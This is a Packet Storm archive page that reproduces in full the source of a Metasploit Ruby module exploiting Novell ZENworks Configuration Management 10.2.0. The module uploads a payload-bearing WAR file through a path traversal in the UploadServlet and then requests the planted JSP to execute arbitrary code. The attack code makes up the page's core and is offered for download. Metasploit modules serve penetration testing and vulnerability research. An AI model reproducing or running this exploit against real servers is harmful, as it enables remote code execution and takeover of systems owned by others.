exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Novell ZENworks Configuration Management Remote Execution

Novell ZENworks Configuration Management Remote Execution
Posted Jun 5, 2010
Authored by MC | Site metasploit.com

This Metasploit module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0. By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory and then make a secondary request that allows for arbitrary code execution.

tags | exploit, arbitrary, code execution
SHA-256 | 438ed4dd918fc073b3e361a3734b45385662c5af7320cb6bb18fff4d1f2191bd

Novell ZENworks Configuration Management Remote Execution

Change Mirror Download
##
# $Id: zenworks_uploadservlet.rb 9419 2010-06-04 13:36:29Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Remote Execution',
'Description' => %q{
This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
and then make a secondary request that allows for arbitrary code execution.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9419 $',
'References' =>
[
[ 'OSVDB', '63412' ],
[ 'BID', '39114' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
[ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
],
'Privileged' => true,
'Platform' => [ 'win' ],
'Targets' =>
[
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
],
'DefaultTarget' => 0))

register_options([Opt::RPORT(80),], self.class)
end

def exploit

arch = target['Arch']
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]

# Generate the WAR containing the EXE containing the payload
app_base = rand_text_alphanumeric(4+rand(32-4))
jsp_name = rand_text_alphanumeric(8+rand(8))
war_data = Msf::Util::EXE.to_jsp_war(framework, arch, plat, payload.encoded, :jsp_name => jsp_name)

res = send_request_cgi(
{
'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
'method' => 'POST',
'data' => war_data,
'headers' =>
{
'Content-Type' => 'application/octet-stream',
}
})

print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

select(nil, nil, nil, 20)

if (res.code == 200)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_raw(
{
'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
'method' => 'GET',
})
else
print_error("Denied...")
end

handler
end

end
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close